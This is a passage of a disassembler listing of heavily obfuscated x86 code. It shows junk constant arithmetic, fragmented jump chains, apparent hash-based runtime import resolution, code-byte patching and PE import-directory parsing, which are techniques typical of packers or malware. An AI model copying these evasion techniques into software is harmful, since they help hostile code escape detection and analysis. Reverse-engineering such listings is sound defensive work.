		jmp	loc_44395B

; =============== S U B	R O U T	I N E =======================================



sub_43993A	proc near		; CODE XREF: kgbikm34:004419B7j
					; kgbikm34:00447795p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		mov	edx, ecx
		pop	ecx
		pop	eax
		push	edi
		push	5306FF6Ch
		jmp	loc_44D54D
sub_43993A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439950:				; CODE XREF: kgbikm34:loc_444880j
		jno	loc_438705
		ror	eax, 14h
		push	ebx
		push	93E63BA4h
		pop	ebx
		sub	ebx, 0D6572A9Fh
		rol	ebx, 18h
		jmp	loc_438644
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_43996E:				; CODE XREF: sub_43D045:loc_437A54j
		adc	ebp, ecx
		add	edx, ebx
		or	eax, 1712CC86h
		jmp	loc_43F0BE
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_43997D:				; CODE XREF: sub_442340-7CDDj
		jb	loc_44472A
; END OF FUNCTION CHUNK	FOR sub_442340
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_439983:				; CODE XREF: sub_442340:loc_439463j
					; sub_439A2E+4C4j ...
		jmp	loc_44403A
; ---------------------------------------------------------------------------

loc_439988:				; CODE XREF: sub_439A2E-7C5j
					; sub_442340+Aj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E250

loc_43998B:				; CODE XREF: sub_44E250+Aj
		jmp	loc_44A006
; END OF FUNCTION CHUNK	FOR sub_44E250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_439990:				; CODE XREF: sub_44368F+8E9Bj
		jmp	loc_43D4A4
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------

loc_439995:				; CODE XREF: kgbikm34:0044BC4Cj
		jl	loc_443552
; START	OF FUNCTION CHUNK FOR sub_440EFA

loc_43999B:				; CODE XREF: sub_440EFA+18j
		jmp	loc_43F451
; END OF FUNCTION CHUNK	FOR sub_440EFA
; ---------------------------------------------------------------------------

loc_4399A0:				; CODE XREF: kgbikm34:004375F5j
		jmp	loc_44CD06
; ---------------------------------------------------------------------------
		add	edi, 42DBEBC9h
		and	edi, ebp
		xchg	ecx, ebp
		jmp	loc_443552
; ---------------------------------------------------------------------------

loc_4399B4:				; CODE XREF: kgbikm34:loc_43EBC3j
					; kgbikm34:0044BC15j
		mov	esi, eax
		xchg	esi, [esp]
		lea	eax, dword_43E1CC
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4399BF:				; CODE XREF: sub_449F77:loc_442264j
		push	eax
		call	sub_44217A

loc_4399C5:				; CODE XREF: kgbikm34:00444561j
		jmp	sub_43F3F8
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_4399CA:				; CODE XREF: kgbikm34:00447D60j
		mov	ebx, esi
		xchg	ebx, [esp]
		push	0FC42EE4Ch
		pop	esi
		and	esi, 2F58B2B3h
		or	esi, 98C69CF9h
		add	esi, 644A3FFFh
		jmp	loc_44302F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A38B

loc_4399EC:				; CODE XREF: sub_43892A:loc_445E94j
					; sub_44A38B+8j
		push	edx
		push	255347EAh
		pop	edx
		add	edx, 0B2611C1Eh
		jmp	loc_43E5EE
; END OF FUNCTION CHUNK	FOR sub_44A38B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_4399FE:				; CODE XREF: sub_447E85:loc_44B05Dj
					; kgbikm34:0044B072j
		and	ebx, 85DE0C99h
		cmp	ebx, 2A32C626h
		jmp	loc_447AB9
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
		sbb	edx, 45A29446h
		jmp	sub_442C37
; ---------------------------------------------------------------------------

loc_439A1A:				; CODE XREF: kgbikm34:0043AA6Aj
		test	esi, ebp
		jmp	loc_445E29
; ---------------------------------------------------------------------------

loc_439A21:				; CODE XREF: kgbikm34:00446E52j
		jg	loc_4418A1
		xchg	ebx, ebp
		jmp	loc_43ADEE

; =============== S U B	R O U T	I N E =======================================



sub_439A2E	proc near		; CODE XREF: kgbikm34:0043D453j
					; sub_43B1D6+D577p

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00438993 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043925B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00439983 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00439EDE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043AE01 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0043C417 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CB50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D586 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044059A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440B6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044129B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044161F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443350 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443EEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044403A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446CAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004472F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004485D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448E8D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448F4E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004498F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C089 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044E0A8 SIZE 00000022 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, 0EC78DEA9h
		call	sub_4437D8

loc_439A3D:				; CODE XREF: sub_43D9B3+7j
		jmp	loc_439EDE
sub_439A2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_439A42:				; CODE XREF: sub_43A6C7:loc_43AF04j
					; kgbikm34:00446C80j
		pushf

loc_439A43:				; CODE XREF: kgbikm34:0043E2F8j
					; kgbikm34:00440432j ...
		jmp	loc_4482CE
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D642

loc_439A48:				; CODE XREF: kgbikm34:0043BAAAj
					; sub_43D642+Aj
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		jmp	loc_449874
; END OF FUNCTION CHUNK	FOR sub_43D642
; ---------------------------------------------------------------------------

loc_439A52:				; CODE XREF: kgbikm34:00441ACFj
		jge	loc_443CEB
; START	OF FUNCTION CHUNK FOR sub_43DC19

loc_439A58:				; CODE XREF: sub_43DC19+Cj
		jmp	loc_4430BD
; END OF FUNCTION CHUNK	FOR sub_43DC19
; ---------------------------------------------------------------------------
		push	0E730ACB2h
		add	edi, esi
		jmp	loc_443CE5
; ---------------------------------------------------------------------------

loc_439A69:				; CODE XREF: kgbikm34:0044B628j
		jb	loc_4467E6
		xchg	eax, ebp
; START	OF FUNCTION CHUNK FOR sub_444051

loc_439A71:				; CODE XREF: sub_444051:loc_44B617j
		rol	eax, 5
		xor	eax, 0C84AEE65h
		call	sub_43BF6F
		mov	ds:dword_41E0C8, eax
		lea	eax, nullsub_15
		mov	byte ptr [eax],	0C3h

loc_439A8E:				; CODE XREF: kgbikm34:loc_44DBBEj
		jmp	loc_43E226
; END OF FUNCTION CHUNK	FOR sub_444051
; ---------------------------------------------------------------------------
		mov	ebx, 8DE6A30Dh
		jmp	loc_44B9A8
; ---------------------------------------------------------------------------
		call	sub_4479B1
		push	esi
		push	8CC0A27Bh
		pop	esi
		or	esi, 1EA191B7h
		jmp	loc_445A1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_439AB4:				; CODE XREF: sub_442340:loc_438F74j
					; kgbikm34:00438F8Fj
		add	eax, 3F08AFh
		push	offset sub_43A445
		jmp	loc_43EF4D
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------

loc_439AC4:				; DATA XREF: sub_442A46:loc_441FB5o
		mov	[edx], eax
		pop	edx
		push	offset loc_43C728
		jmp	loc_448242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_439AD1:				; CODE XREF: sub_4478CD:loc_4441E1j
		pop	eax

loc_439AD2:				; CODE XREF: kgbikm34:loc_446DDDj
		or	eax, 343E0CBAh
		add	eax, 2BF4D424h
		sub	eax, 0CEAD6B02h
		jmp	loc_448CAF
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_439AE9:				; CODE XREF: sub_43F524:loc_43A5B7j
		pop	edi
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_445D55
		jmp	loc_4457FD
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_439AF8:				; CODE XREF: sub_44A1A6+1Fj
		jnz	loc_43DA3A
		not	ebp
		popf
		jmp	loc_4392DD
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------

locret_439B06:				; CODE XREF: kgbikm34:0043F3EDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_439B07:				; CODE XREF: sub_4494B1-276Dj
		jmp	loc_448BF2
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_439B0C:				; CODE XREF: sub_442B15+8B4Fj
		ror	ebp, 2

loc_439B0F:				; CODE XREF: sub_442B15:loc_44B80Ej
		push	73210204h
		pop	eax
		rol	eax, 5
		sub	eax, 0D229D4A8h
		xor	eax, 2DAD6679h
		add	eax, 1C0ED088h
		jmp	loc_43FE86
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_439B2F:				; CODE XREF: sub_43C55C+74E5j
		jg	loc_43F352
		jmp	loc_44BA61
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
		jmp	ds:off_41E1F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D30

loc_439B40:				; CODE XREF: sub_448D30+16j
		jmp	loc_43854F
; END OF FUNCTION CHUNK	FOR sub_448D30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_439B45:				; CODE XREF: sub_44DC12-D2DFj
					; sub_43A5F7:loc_443F72j ...
		js	loc_44DD45
		xchg	ebx, [esp+0]
		mov	edx, ebx
		jmp	loc_43EC69
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_439B55:				; CODE XREF: kgbikm34:0043B84Aj
					; sub_4418C2:loc_448BDCj
		call	sub_446E38

loc_439B5A:				; CODE XREF: sub_43DF5B+FE74j
		jmp	loc_4443F4
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_439B5F:				; CODE XREF: sub_43EAEE+6j
		jmp	loc_44252C
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_439B64:				; CODE XREF: sub_447E85:loc_43CE37j
		jmp	nullsub_276
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------

loc_439B69:				; DATA XREF: sub_438C9C+10DC0o
		jnb	loc_44C4C0
		mov	eax, [esp]
		push	offset sub_43D373
		jmp	locret_44BA24
; ---------------------------------------------------------------------------

loc_439B7C:				; CODE XREF: kgbikm34:0043DC95j
		jno	loc_44BC2E

; =============== S U B	R O U T	I N E =======================================



sub_439B82	proc near		; CODE XREF: sub_440E0B-5ABDp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A4D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043F1F6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044566F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446434 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044BC51 SIZE 00000016 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_4487F2
		jmp	loc_44566F
sub_439B82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439B90	proc near		; DATA XREF: sub_44903A-1B3Ao

; FUNCTION CHUNK AT 004392A9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044680C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449FF0 SIZE 00000016 BYTES

		jno	loc_4392A9
		sub	al, 99h
		push	offset loc_439E9B
		jmp	nullsub_333
sub_439B90	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_347. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D043

loc_439BA3:				; CODE XREF: sub_44D043+12j
		jmp	loc_44AD35
; END OF FUNCTION CHUNK	FOR sub_44D043
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_439BA8:				; CODE XREF: sub_43D114+ED6Dj
		jmp	loc_44A0D7
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
		ror	ebx, 3
		jmp	sub_44D7B4
; ---------------------------------------------------------------------------

locret_439BB5:				; CODE XREF: kgbikm34:loc_438989j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44238F

loc_439BB6:				; CODE XREF: sub_44238F+9j
		jmp	loc_43AFEE
; END OF FUNCTION CHUNK	FOR sub_44238F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_439BBB:				; CODE XREF: sub_43DF5B:loc_4467AEj
		cmp	al, 0A4h
		jz	loc_43AE6F
		jmp	loc_44C1D9
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------

loc_439BC8:				; CODE XREF: kgbikm34:loc_444E81j
		xchg	edx, [ebx]
; START	OF FUNCTION CHUNK FOR sub_43EF3C

loc_439BCA:				; CODE XREF: sub_43EF3C:loc_444E5Fj
		add	eax, 691DE308h
		xchg	eax, [esp+4+var_4]
		jmp	loc_4469FC
; END OF FUNCTION CHUNK	FOR sub_43EF3C
; ---------------------------------------------------------------------------

loc_439BD8:				; CODE XREF: kgbikm34:0044ABE9j
		sbb	ebx, 6B06A203h

; =============== S U B	R O U T	I N E =======================================



sub_439BDE	proc near		; CODE XREF: sub_43C2DA:loc_43B204p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004374E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439142 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043AD15 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B62B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C91C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043CBBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CD0B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043E098 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043F25B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043FADC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043FEA2 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00440D94 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00440FB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441007 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004413C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044196A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004420F1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00442FF7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443057 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004434AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00443664 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443786 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443A03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004444BC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00444FB6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044571F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004465D0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00446BA6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446E59 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00447B86 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00447D2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004480BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044841B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004484F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044885B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449426 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00449DA9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00449F42 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044A65B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C3B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C5AA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C5EB SIZE 00000005 BYTES

		xchg	esi, [esp+4+var_4]
		pop	esi
		call	sub_4479B1
		call	sub_44B64C
		or	eax, eax
		jnz	loc_43FEA2
		jmp	loc_443664
sub_439BDE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_439BF9:				; CODE XREF: sub_449F77:loc_440BEBj
		and	ecx, 98EB2F3Fh
		or	ecx, 7FB04E86h
		xor	ecx, 0F2A0F3E9h
		sub	eax, ecx
		pop	ecx
		ror	eax, 7
		push	edx
		push	0C32F7168h
		jmp	loc_4426F0
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439DCD

loc_439C1C:				; CODE XREF: sub_439DCD+25FDj
		push	eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 8
		setnz	al
		jmp	loc_43A0F3
; END OF FUNCTION CHUNK	FOR sub_439DCD
; ---------------------------------------------------------------------------
		push	edx
		push	0C2D94732h
		pop	edx
		or	edx, 0AD35F168h
		xor	edx, 32B4FDF6h
		rol	edx, 5
		or	edx, 993B053Bh
		jmp	loc_44D31B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_439C4D:				; CODE XREF: sub_44D9CE:loc_44D197j
		jz	loc_43C1D5
		jmp	loc_44AD8F
; END OF FUNCTION CHUNK	FOR sub_44D9CE
; ---------------------------------------------------------------------------
		shl	edi, 11h
		jmp	loc_43AAFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_439C60:				; CODE XREF: sub_44ADC2+1D54j
		add	eax, 1491F8C5h
		call	sub_43B1D6

loc_439C6B:				; CODE XREF: kgbikm34:0043BAD0j
		jmp	loc_43F014
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------

loc_439C70:				; CODE XREF: kgbikm34:00444D52j
		and	edi, 409FAE64h
		sub	edi, 57BDBC1Eh
		add	edi, 18019C0Ah
		call	sub_44063D

loc_439C87:				; CODE XREF: kgbikm34:00439897j
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		jmp	loc_44A0C5
; ---------------------------------------------------------------------------
		jmp	ds:off_41E018
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_439C9E:				; CODE XREF: sub_449D59-1A90j
		jmp	nullsub_151
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_439CA3:				; CODE XREF: sub_438E7D+7j
					; sub_445F1B-20C4j ...
		pop	edx
		jns	loc_438E89
		mov	eax, [esp+0]
		call	sub_4455C3

loc_439CB2:				; CODE XREF: kgbikm34:00447DD9j
		jmp	loc_43BA8D
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_439CB7:				; CODE XREF: sub_443681:loc_445A7Bj
		jge	loc_44D96D
; END OF FUNCTION CHUNK	FOR sub_443681
; START	OF FUNCTION CHUNK FOR sub_44B537

loc_439CBD:				; CODE XREF: sub_44B537-290Cj
		jmp	loc_4442D7
; END OF FUNCTION CHUNK	FOR sub_44B537
; ---------------------------------------------------------------------------
		and	edx, 0A8AF5295h
		not	esi
		adc	ecx, esi
		sbb	edx, 11CB9BF2h
		jmp	loc_44D96C
; ---------------------------------------------------------------------------

loc_439CD7:				; CODE XREF: kgbikm34:0043F2BFj
		push	offset loc_44290E
		jmp	loc_446D49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481F3

loc_439CE1:				; CODE XREF: sub_4481F3+18j
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		or	edx, edx
		jz	loc_444A67

loc_439CF3:				; CODE XREF: sub_4481F3-C849j
					; kgbikm34:0043F9A4j
		jns	loc_4373D4
		jmp	loc_44AB61
; END OF FUNCTION CHUNK	FOR sub_4481F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_439CFE:				; CODE XREF: sub_441D2F:loc_447C60j
		xor	eax, 0C6C38A07h
		shr	edx, 11h
		sub	esi, 9F686809h
		jmp	loc_43747F
; END OF FUNCTION CHUNK	FOR sub_441D2F

; =============== S U B	R O U T	I N E =======================================



sub_439D12	proc near		; DATA XREF: kgbikm34:00443548o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B3C7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D68A SIZE 00000005 BYTES

		mov	eax, [esp+0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		call	sub_43FD86
		mov	eax, 4C5D3995h
		call	sub_43BF6F
		jmp	loc_43B3C7
sub_439D12	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_439D2F:				; CODE XREF: sub_44772C-5138j
		xor	edx, 2F7A64C0h
		and	edx, 0AD5259E7h
		add	edx, 4DCAB832h
		call	sub_43EB3F

loc_439D46:				; CODE XREF: sub_445382+19j
		jmp	loc_43984A
; END OF FUNCTION CHUNK	FOR sub_44772C

; =============== S U B	R O U T	I N E =======================================



sub_439D4B	proc near		; CODE XREF: sub_448AC9-92BEp
					; kgbikm34:00447EFEj

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043B374 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043C90F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E1A4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004409A7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443DEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444F0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445176 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447414 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D54D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DE3E SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 614DAB5Bh
		call	sub_43BF6F
		mov	ds:off_41E130, eax
		lea	eax, loc_43E1A4
		mov	byte ptr [eax],	0C3h
		jmp	loc_443DEB
sub_439D4B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_439D6E:				; CODE XREF: sub_439003:loc_44C005j
		and	edi, 6F6AD7D4h
		rol	edi, 16h
		add	edi, 9F385D6Bh
		mov	[edi], eax
		jmp	loc_43E8A9
; END OF FUNCTION CHUNK	FOR sub_439003
; ---------------------------------------------------------------------------
		jnp	sub_4403D5
		jmp	loc_44D25E
; ---------------------------------------------------------------------------

loc_439D8F:				; CODE XREF: kgbikm34:004461C0j
		mov	eax, [esp]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		push	ecx
		push	offset loc_43963C
		jmp	loc_440CA7
; ---------------------------------------------------------------------------
		jb	loc_43B9A5
		jmp	loc_4429A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_439DAE:				; CODE XREF: sub_440E0B:loc_440F48j
		mov	[edi], esi
		jl	loc_4437F8
		jmp	loc_43AE6F
; END OF FUNCTION CHUNK	FOR sub_440E0B

; =============== S U B	R O U T	I N E =======================================



sub_439DBB	proc near		; CODE XREF: sub_4471D6+4D5Fj
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_439DCD
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_447175
sub_439DBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_439DCD	proc near		; CODE XREF: sub_439DBB+4p

; FUNCTION CHUNK AT 00439C1C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043A0F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B2F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C3B9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043EB9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443C53 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00447C6A SIZE 0000000A BYTES

		push	ebp
		jmp	loc_43C3B9
sub_439DCD	endp

; ---------------------------------------------------------------------------

loc_439DD3:				; CODE XREF: kgbikm34:0043E0EAj
		cmp	ecx, edi
		jmp	loc_43F51E
; ---------------------------------------------------------------------------

loc_439DDA:				; CODE XREF: kgbikm34:loc_4439FDj
					; kgbikm34:00443A1Ej
		add	esi, 0C03EFFE6h

loc_439DE0:				; CODE XREF: kgbikm34:loc_444C77j
		mov	[esi], eax
		pop	esi
		lea	eax, sub_440443
		mov	byte ptr [eax],	0C3h
		jmp	sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_439DF1:				; CODE XREF: sub_440443+1j
		mov	eax, [esp+8+var_8]
		push	edx
		call	sub_445D55
		jmp	loc_43A1ED
; END OF FUNCTION CHUNK	FOR sub_440443

; =============== S U B	R O U T	I N E =======================================



sub_439DFF	proc near		; CODE XREF: kgbikm34:0043D82Ej
					; kgbikm34:004472B2p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, ecx
		pop	ecx
		retn
sub_439DFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_439E0A:				; CODE XREF: sub_440380+Bj
		jmp	loc_4403F2
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_439E0F:				; CODE XREF: sub_444002-4627j
		jmp	loc_44700E
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_439E14:				; CODE XREF: sub_446F79-1AD8j
		js	loc_4465E5
		sub	ecx, ebp
		sub	edx, ebp
		jmp	loc_443A46
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_439E23:				; CODE XREF: sub_439F72+FE9Aj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4466F8
		jmp	loc_44808B
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0E669h
; ---------------------------------------------------------------------------
		push	esi
; START	OF FUNCTION CHUNK FOR sub_439003

loc_439E39:				; CODE XREF: sub_439003:loc_4427E5j
		sub	eax, ds:4000F7h
		add	eax, 0AA41D1FCh
		call	sub_4400C7
		push	edi
		jmp	loc_4400F0
; END OF FUNCTION CHUNK	FOR sub_439003
; ---------------------------------------------------------------------------

loc_439E50:				; CODE XREF: kgbikm34:loc_44BB67j
		push	6B542627h
		pop	edi
		or	edi, 53999C63h
		xor	edi, 0FA129986h
		jmp	loc_44C908
; ---------------------------------------------------------------------------

loc_439E67:				; DATA XREF: sub_4416DD+7o
		push	ecx
		push	1580D347h
		pop	ecx
		rol	ecx, 0Fh
		sub	ecx, 0C9D99540h
		test	ecx, 4000h
		jmp	loc_440993
; ---------------------------------------------------------------------------

loc_439E82:				; DATA XREF: sub_43F6D0:loc_44AE28o
		call	sub_43ACD5
		push	0E31169A1h
